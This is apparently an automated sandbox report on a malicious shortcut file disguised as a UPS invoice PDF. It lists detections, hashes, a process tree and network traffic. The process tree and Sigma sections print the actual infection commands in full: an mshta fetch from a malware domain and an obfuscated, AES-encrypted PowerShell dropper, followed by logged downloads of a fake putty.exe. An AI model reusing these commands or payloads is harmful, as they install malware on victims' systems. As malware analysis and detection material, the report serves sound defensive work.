Edit tour

Windows Analysis Report
Invoice-UPS-218931.pdf.lnk.mal.lnk

Overview

General Information

Sample name:	Invoice-UPS-218931.pdf.lnk.mal.lnk
Analysis ID:	1466029
MD5:	de45594e6e0700cd245eb48167b4d576
SHA1:	7903bc25f029d194a31783adb0c26cc461ac2ef2
SHA256:	d187de197e79e51a82eb727809d5fb6847c75104979ec9622429c2e74b55db5f
Tags:	lnk
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

AI detected suspicious sample

Powershell drops PE file

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Suspicious MSHTA Child Process

Suspicious powershell command line found

Uses an obfuscated file name to hide its real file extension (double extension)

Very long command line found

Windows shortcut file (LNK) contains suspicious command line arguments

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

forfiles.exe (PID: 4936 cmdline: "C:\Windows\System32\forfiles.exe" /p C:\Windows /m write.exe /c "powershell . mshta https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage" MD5: 9BB67AEA5E26CB136F23F29CC48D6B9E)

conhost.exe (PID: 4508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6336 cmdline: . mshta https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage MD5: 04029E121A0CFA5991749937DD22A1D9)

mshta.exe (PID: 4996 cmdline: "C:\Windows\system32\mshta.exe" https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 4620 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function FwbFg($aDSKbaK){return -split ($aDSKbaK -replace '..', '0x$& ')};$JMNVEMgx = FwbFg('21A646F03E7B8D0E0144FF5C4397D6E8768C751065483745F91BB8343AB048B2246E85D2C3339FCBD44E15DFB72AFC02B9734D6A198B8C26999F960E241B32E123B9CBACA3B2719C1372506CBCE2AA66A828088A6FB1394DB34D592155F83047EFCC0A4D824F80F7CF48D2BEF262BB9D33AEED76C583D7D150E7BAB97E9A8CFDF072921223BBAC8034DB6994987DC74DEDC903018518B3F35E6537D8A19790BD95F0143B2B4B7E734D48A2B7ACD50D6D344FCF97F4EE62251F59AFEEB9CFBEAC068B301CDE9B6205C120F731D96BC22D1FC31D8EFB7366A1B397C3FEACFF206D10806BD24C4B7E075E59E404FA575B579D4A6DF851FA02F116A2F66F789FA93583B7A924750A4FCAE28D9AC0876FEE6A97B56A1C444B74CD5A3658FF272917B31D6BFD3C6ECA76779B6869B431C03C81496AFFCDED8FCE4236FE3A29ABA4886BCA3096A535D941BDB706E590E88FA7706D01704C7206EA1993D9AEAE980BE84779168990E621B6CA14C201182FADBE2BAD9E4DAF1390F82E6E15665D552AC5D16E555E1A10FA71DB534F2319ED67A298283D9D1A1751E92A4FCFB4D31F6A93918C158BDD7EABEF8738964944F2614AD2E6956D5DE3967B3DFE771C9B3D9AC0461E1DE5472BAB55BE9C8660808B51C7080DFEFD889FEB39F30E08DCD5F153CA0E79A9BD1E25A9744BC9BA6F2D4AD161933BF97501242E37612D84B24A8C7848DDFBCC7A2C27BEFFF04E49DBBC9B8747A32D22D665A58E7B75BAF2BD3F1B99490F02F1CC81FE2EC80A4698AB32FD2AD22E0A57EB4582E03B221A46AB6F38B5479E296F8F998DD6D5168DDF6BE6B26968F1BFAC528412BB40BFA973A25189BF34F62AF88628E5760F282273BD9BFF02CDBBA4D63C85B6432A4E0D9E278E71C030FC7DEAAD08193692A80FB945629DE03029A101207C5F6CCD2F2A28646261EEEFE0C2884B1E19245881C7F4019F40A3E6A22A4E0B908C58233F10BB8BD8761D051FEFC7CA6830D169C4CDCFF33B2AD164977B0CED54F545F0020ECBB4EE24B26829657385A8DE80F60CBA5D6B36691DFEC61790CF77FE52269ED867DFA5120D6F6B6FB44CDFD99729B57B18279E84006C9697187CD589F4C6670B67313C0BC55D33B4D23D49761F9323E4B3E7611C1E68CCA7234F6AAAFCDF9910AF8D82BB84B2A607C63A8B87F5F13F7E8A604B1BA722BD0E876B85A74D8B1827EF22E424DBBD1EB3B2CB9EE6A38003CEA4C37D16615F536B1FFF4B129E5612763B59A74FF64B2E06055B8B24F5B5B7EC633F0335F3071091D7AD4106436C236007B291CF7A546785AA4B12C6C6132447EBA40F14CDC19ECBCEE70C975C7D8F0578F7FCAE5D8A2493C63EE1933513A538C7932C9E9C55084260FAE910DFE4190287225BA380E3F6B468905DB1E58629BB1A1B3C3296158A92830DA5112AF2F8E2277479FB9AFE52AB07C3BA644BDD75957ADB75241C6C23F95ACA7AF54F336FF6A8993C9D591E45CD5E243C46981298C82628286E0C5E331ACDD58AA74DFD318E226ABA7F7800F4A5F082919C70227FB9FC05B21083D3B9441D09666C4F983DFB7A8A821A080FF46F4A453A18A711C5EF4B13B318F99DE6427F6659F80C64D4FF6966E2F33DA9C9686F7E6CFD31D9E3D0AED7D73835A8C0C6222E3000D5F10C6285154E7086FF8EB7E9C110B4B86CE83C6F08FFF8D327680FE10400DA4CE7869DC78BCAD4DE74B35E05ED0B23917BD0F6A5851D6A5605D6BCB8EF5B938BB1527EE0A159BE7290D623181BFC96809099D314A1ECDB5BFB518599AB82C48092BA1049836D235A7F5883F1AC30CC53712246AF5F651DE0907D59DC5B745CBF1210DE92CDADEED7E1043B6C1F429DF3CC959506E3A55B17614E807E23F46A911829D400434C9681DBB6A3A2A0BC95862391FB8AD4E829AB55BB8430C0ECD752BB561057DE927805A181');$fcuYB = [System.Security.Cryptography.Aes]::Create();$fcuYB.Key = FwbFg('615241616D494A7A70714B63736F6771');$fcuYB.IV = New-Object byte[] 16;$uIvTQuuE = $fcuYB.CreateDecryptor();$TRZjYlWGC = $uIvTQuuE.TransformFinalBlock($JMNVEMgx, 0, $JMNVEMgx.Length);$xbgxJDMGJ = [System.Text.Encoding]::Utf8.GetString($TRZjYlWGC);$uIvTQuuE.Dispose();& $xbgxJDMGJ.Substring(0,3) $xbgxJDMGJ.Substring(3) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 5352 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\upsinvoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7384 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7540 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2068 --field-trial-handle=1612,i,8777765815647240149,11795078331004045366,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

putty.exe (PID: 8156 cmdline: "C:\Users\user\AppData\Roaming\putty.exe" MD5: 5EFEF6CC9CD24BAEEED71C1107FC32DF)

svchost.exe (PID: 1996 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 4620	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2361d7:$b1: ::WriteAllBytes( 0x236dd5:$b1: ::WriteAllBytes( 0xb3145:$s1: -join 0xb558b:$s1: -join 0x114511:$s1: -join 0x1215e6:$s1: -join 0x1249b8:$s1: -join 0x12506a:$s1: -join 0x126b5b:$s1: -join 0x128d61:$s1: -join 0x129588:$s1: -join 0x129df8:$s1: -join 0x12a533:$s1: -join 0x12a565:$s1: -join 0x12a5ad:$s1: -join 0x12a5cc:$s1: -join 0x12ae1c:$s1: -join 0x12af98:$s1: -join 0x12b010:$s1: -join 0x12b0a3:$s1: -join 0x12b309:$s1: -join

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\mshta.exe" https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage, CommandLine: "C:\Windows\system32\mshta.exe" https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage, CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: . mshta https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6336, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\mshta.exe" https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage, ProcessId: 4996, ProcessName: mshta.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function FwbFg($aDSKbaK){return -split ($aDSKbaK -replace '..', '0x$& ')};$JMNVEMgx = FwbFg('21A646F03E7B8D0E0144FF5C4397D6E8768C751065483745F91BB8343AB048B2246E85D2C3339FCBD44E15DFB72AFC02B9734D6A198B8C26999F960E241B32E123B9CBACA3B2719C1372506CBCE2AA66A828088A6FB1394DB34D592155F83047EFCC0A4D824F80F7CF48D2BEF262BB9D33AEED76C583D7D150E7BAB97E9A8CFDF072921223BBAC8034DB6994987DC74DEDC903018518B3F35E6537D8A19790BD95F0143B2B4B7E734D48A2B7ACD50D6D344FCF97F4EE62251F59AFEEB9CFBEAC068B301CDE9B6205C120F731D96BC22D1FC31D8EFB7366A1B397C3FEACFF206D10806BD24C4B7E075E59E404FA575B579D4A6DF851FA02F116A2F66F789FA93583B7A924750A4FCAE28D9AC0876FEE6A97B56A1C444B74CD5A3658FF272917B31D6BFD3C6ECA76779B6869B431C03C81496AFFCDED8FCE4236FE3A29ABA4886BCA3096A535D941BDB706E590E88FA7706D01704C7206EA1993D9AEAE980BE84779168990E621B6CA14C201182FADBE2BAD9E4DAF1390F82E6E15665D552AC5D16E555E1A10FA71DB534F2319ED67A298283D9D1A1751E92A4FCFB4D31F6A93918C158BDD7EABEF8738964944F2614AD2E6956D5DE3967B3DFE771C9B3D9AC0461E1DE5472BAB55BE9C8660808B51C7080DFEFD889FEB39F30E08DCD5F153CA0E79A9BD1E25A9744BC9BA6F2D4AD161933BF97501242E37612D84B24A8C7848DDFBCC7A2C27BEFFF04E49DBBC9B8747A32D22D665A58E7B75BAF2BD3F1B99490F02F1CC81FE2EC80A4698AB32FD2AD22E0A57EB4582E03B221A46AB6F38B5479E296F8F998DD6D5168DDF6BE6B26968F1BFAC528412BB40BFA973A25189BF34F62AF88628E5760F282273BD9BFF02CDBBA4D63C85B6432A4E0D9E278E71C030FC7DEAAD08193692A80FB945629DE03029A101207C5F6CCD2F2A28646261EEEFE0C2884B1E19245881C7F4019F40A3E6A22A4E0B908C58233F10BB8BD8761D051FEFC7CA6830D169C4CDCFF33B2AD164977B0CED54F545F0020ECBB4EE24B26829657385A8DE80F60CBA5D6B36691DFEC61790CF77FE52269ED867DFA5120D6F6B6FB44CDFD99729B57B18279E84006C9697187CD589F4C6670B67313C0BC55D33B4D23D49761F9323E4B3E7611C1E68CCA7234F6AAAFCDF9910AF8D82BB84B2A607C63A8B87F5F13F7E8A604B1BA722BD0E876B85A74D8B1827EF22E424DBBD1EB3B2CB9EE6A38003CEA4C37D16615F536B1FFF4B129E5612763B59A74FF64B2E06055B8B24F5B5B7EC633F0335F3071091D7AD4106436C236007B291CF7A546785AA4B12C6C6132447EBA40F14CDC19ECBCEE70C975C7D8F0578F7FCAE5D8A2493C63EE1933513A538C7932C9E9C55084260FAE910DFE4190287225BA380E3F6B468905DB1E58629BB1A1B3C3296158A92830DA5112AF2F8E2277479FB9AFE52AB07C3BA644BDD75957ADB75241C6C23F95ACA7AF54F336FF6A8993C9D591E45CD5E243C46981298C82628286E0C5E331ACDD58AA74DFD318E226ABA7F7800F4A5F082919C70227FB9FC05B21083D3B9441D09666C4F983DFB7A8A821A080FF46F4A453A18A711C5EF4B13B318F99DE6427F6659F80C64D4FF6966E2F33DA9C9686F7E6CFD31D9E3D0AED7D73835A8C0C6222E3000D5F10C6285154E7086FF8EB7E9C110B4B86CE83C6F08FFF8D327680FE10400DA4CE7869DC78BCAD4DE74B35E05ED0B23917BD0F6A5851D6A5605D6BCB8EF5B938BB1527EE0A159BE7290D623181BFC96809099D314A1ECDB5BFB518599AB82C48092BA1049836D235A7F5883F1AC30CC53712246AF5F651DE0907D59DC5B745CBF1210DE92CDADEED7E1043B6C1F429DF3CC959506E3A55B17614E807E23F46A911829D400434C9681DBB6A3A2A0BC95862391FB8AD4E829AB55BB8430C0ECD752BB561057DE927805A181');$fcuYB = [System.Security.Cryptography.Aes]::Creat

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function FwbFg($aDSKbaK){return -split ($aDSKbaK -replace '..', '0x$& ')};$JMNVEMgx = FwbFg('21A646F03E7B8D0E0144FF5C4397D6E8768C751065483745F91BB8343AB048B2246E85D2C3339FCBD44E15DFB72AFC02B9734D6A198B8C26999F960E241B32E123B9CBACA3B2719C1372506CBCE2AA66A828088A6FB1394DB34D592155F83047EFCC0A4D824F80F7CF48D2BEF262BB9D33AEED76C583D7D150E7BAB97E9A8CFDF072921223BBAC8034DB6994987DC74DEDC903018518B3F35E6537D8A19790BD95F0143B2B4B7E734D48A2B7ACD50D6D344FCF97F4EE62251F59AFEEB9CFBEAC068B301CDE9B6205C120F731D96BC22D1FC31D8EFB7366A1B397C3FEACFF206D10806BD24C4B7E075E59E404FA575B579D4A6DF851FA02F116A2F66F789FA93583B7A924750A4FCAE28D9AC0876FEE6A97B56A1C444B74CD5A3658FF272917B31D6BFD3C6ECA76779B6869B431C03C81496AFFCDED8FCE4236FE3A29ABA4886BCA3096A535D941BDB706E590E88FA7706D01704C7206EA1993D9AEAE980BE84779168990E621B6CA14C201182FADBE2BAD9E4DAF1390F82E6E15665D552AC5D16E555E1A10FA71DB534F2319ED67A298283D9D1A1751E92A4FCFB4D31F6A93918C158BDD7EABEF8738964944F2614AD2E6956D5DE3967B3DFE771C9B3D9AC0461E1DE5472BAB55BE9C8660808B51C7080DFEFD889FEB39F30E08DCD5F153CA0E79A9BD1E25A9744BC9BA6F2D4AD161933BF97501242E37612D84B24A8C7848DDFBCC7A2C27BEFFF04E49DBBC9B8747A32D22D665A58E7B75BAF2BD3F1B99490F02F1CC81FE2EC80A4698AB32FD2AD22E0A57EB4582E03B221A46AB6F38B5479E296F8F998DD6D5168DDF6BE6B26968F1BFAC528412BB40BFA973A25189BF34F62AF88628E5760F282273BD9BFF02CDBBA4D63C85B6432A4E0D9E278E71C030FC7DEAAD08193692A80FB945629DE03029A101207C5F6CCD2F2A28646261EEEFE0C2884B1E19245881C7F4019F40A3E6A22A4E0B908C58233F10BB8BD8761D051FEFC7CA6830D169C4CDCFF33B2AD164977B0CED54F545F0020ECBB4EE24B26829657385A8DE80F60CBA5D6B36691DFEC61790CF77FE52269ED867DFA5120D6F6B6FB44CDFD99729B57B18279E84006C9697187CD589F4C6670B67313C0BC55D33B4D23D49761F9323E4B3E7611C1E68CCA7234F6AAAFCDF9910AF8D82BB84B2A607C63A8B87F5F13F7E8A604B1BA722BD0E876B85A74D8B1827EF22E424DBBD1EB3B2CB9EE6A38003CEA4C37D16615F536B1FFF4B129E5612763B59A74FF64B2E06055B8B24F5B5B7EC633F0335F3071091D7AD4106436C236007B291CF7A546785AA4B12C6C6132447EBA40F14CDC19ECBCEE70C975C7D8F0578F7FCAE5D8A2493C63EE1933513A538C7932C9E9C55084260FAE910DFE4190287225BA380E3F6B468905DB1E58629BB1A1B3C3296158A92830DA5112AF2F8E2277479FB9AFE52AB07C3BA644BDD75957ADB75241C6C23F95ACA7AF54F336FF6A8993C9D591E45CD5E243C46981298C82628286E0C5E331ACDD58AA74DFD318E226ABA7F7800F4A5F082919C70227FB9FC05B21083D3B9441D09666C4F983DFB7A8A821A080FF46F4A453A18A711C5EF4B13B318F99DE6427F6659F80C64D4FF6966E2F33DA9C9686F7E6CFD31D9E3D0AED7D73835A8C0C6222E3000D5F10C6285154E7086FF8EB7E9C110B4B86CE83C6F08FFF8D327680FE10400DA4CE7869DC78BCAD4DE74B35E05ED0B23917BD0F6A5851D6A5605D6BCB8EF5B938BB1527EE0A159BE7290D623181BFC96809099D314A1ECDB5BFB518599AB82C48092BA1049836D235A7F5883F1AC30CC53712246AF5F651DE0907D59DC5B745CBF1210DE92CDADEED7E1043B6C1F429DF3CC959506E3A55B17614E807E23F46A911829D400434C9681DBB6A3A2A0BC95862391FB8AD4E829AB55BB8430C0ECD752BB561057DE927805A181');$fcuYB = [System.Security.Cryptography.Aes]::Creat

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4620, TargetFilename: C:\Users\user\AppData\Roaming\putty.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: . mshta https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage, CommandLine: . mshta https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage, CommandLine|base64offset|contains: m, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\forfiles.exe" /p C:\Windows /m write.exe /c "powershell . mshta https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage", ParentImage: C:\Windows\System32\forfiles.exe, ParentProcessId: 4936, ParentProcessName: forfiles.exe, ProcessCommandLine: . mshta https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage, ProcessId: 6336, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1996, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage	Avira URL Cloud: Label: malware
Source: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage...	Avira URL Cloud: Label: malware
Source: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage.	Avira URL Cloud: Label: malware
Source: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage/I	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: Invoice-UPS-218931.pdf.lnk.mal.lnk

ReversingLabs: Detection: 21%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.2% probability

Source: unknown	HTTPS traffic detected: 5.188.88.146:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.188.88.146:443 -> 192.168.2.8:49708 version: TLS 1.2

Source:	Binary string: BthUdTask.pdbGCTL source: mshta.exe, 00000004.00000003.1780875436.0000023F9E0BE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1788162718.0000023F9A1BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793723399.0000023F9E010000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780951650.0000023F9A1BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1790513355.0000023F9A1BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1781797733.0000023F9A12F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780951650.0000023F9A140000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780196042.0000023F9E0BE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780501830.0000023F9E075000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793583362.0000023F9A1BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780052517.0000023F9E0D9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1782232696.00000237975FD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1790461409.0000023F9A130000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793809350.0000023F9E076000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793264894.0000023F9A130000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780480215.0000023F9A1E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793828055.0000023F9E0BE000.00000004.00000020.00020000.00000000.sdmp, invoiceupsstage[1].4.dr
Source:	Binary string: .pdbGCTL source: mshta.exe, 00000004.00000003.1780875436.0000023F9E0BE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780196042.0000023F9E0BE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793828055.0000023F9E0BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BthUdTask.pdb source: mshta.exe, 00000004.00000003.1788162718.0000023F9A1BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793723399.0000023F9E010000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780951650.0000023F9A1BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1790513355.0000023F9A1BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1781797733.0000023F9A12F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793583362.0000023F9A1BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1790461409.0000023F9A130000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793264894.0000023F9A130000.00000004.00000020.00020000.00000000.sdmp, invoiceupsstage[1].4.dr

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678633F40 FindFirstFileA,FindClose,	12_2_00007FF678633F40
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678626B00 GetProcAddress,FindFirstFileA,CloseHandle,	12_2_00007FF678626B00
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678632190 FindFirstFileA,FindClose,FindWindowA,	12_2_00007FF678632190
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678600520 GetWindowsDirectoryA,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,GetCurrentProcessId,	12_2_00007FF678600520

Source: global traffic	HTTP traffic detected: GET /cdnusa/upsinvoice.pdf HTTP/1.1Host: nebulaquestcorporation.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cdnusa/putty.exe HTTP/1.1Host: nebulaquestcorporation.cc

Source: Joe Sandbox View

IP Address: 104.77.220.172 104.77.220.172

Source: Joe Sandbox View

ASN Name: PINDC-ASRU PINDC-ASRU

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /cdnusa/invoiceupsstage HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: nebulaquestcorporation.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /onboarding/smskillreader.txt HTTP/1.1Host: armmf.adobe.comConnection: keep-aliveAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brIf-None-Match: "78-5faa31cce96da"If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT

Source: unknown	TCP traffic detected without corresponding DNS query: 104.77.220.172
Source: unknown	TCP traffic detected without corresponding DNS query: 104.77.220.172
Source: unknown	TCP traffic detected without corresponding DNS query: 104.77.220.172
Source: unknown	TCP traffic detected without corresponding DNS query: 104.77.220.172
Source: unknown	TCP traffic detected without corresponding DNS query: 104.77.220.172
Source: unknown	TCP traffic detected without corresponding DNS query: 104.77.220.172
Source: unknown	TCP traffic detected without corresponding DNS query: 104.77.220.172
Source: unknown	TCP traffic detected without corresponding DNS query: 104.77.220.172
Source: unknown	TCP traffic detected without corresponding DNS query: 104.77.220.172
Source: unknown	TCP traffic detected without corresponding DNS query: 104.77.220.172
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 12_2_00007FF678610DE0 recv,

12_2_00007FF678610DE0

Source: global traffic	HTTP traffic detected: GET /cdnusa/invoiceupsstage HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: nebulaquestcorporation.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cdnusa/upsinvoice.pdf HTTP/1.1Host: nebulaquestcorporation.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cdnusa/putty.exe HTTP/1.1Host: nebulaquestcorporation.cc
Source: global traffic	HTTP traffic detected: GET /onboarding/smskillreader.txt HTTP/1.1Host: armmf.adobe.comConnection: keep-aliveAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brIf-None-Match: "78-5faa31cce96da"If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT

Source: global traffic

DNS traffic detected: DNS query: nebulaquestcorporation.cc

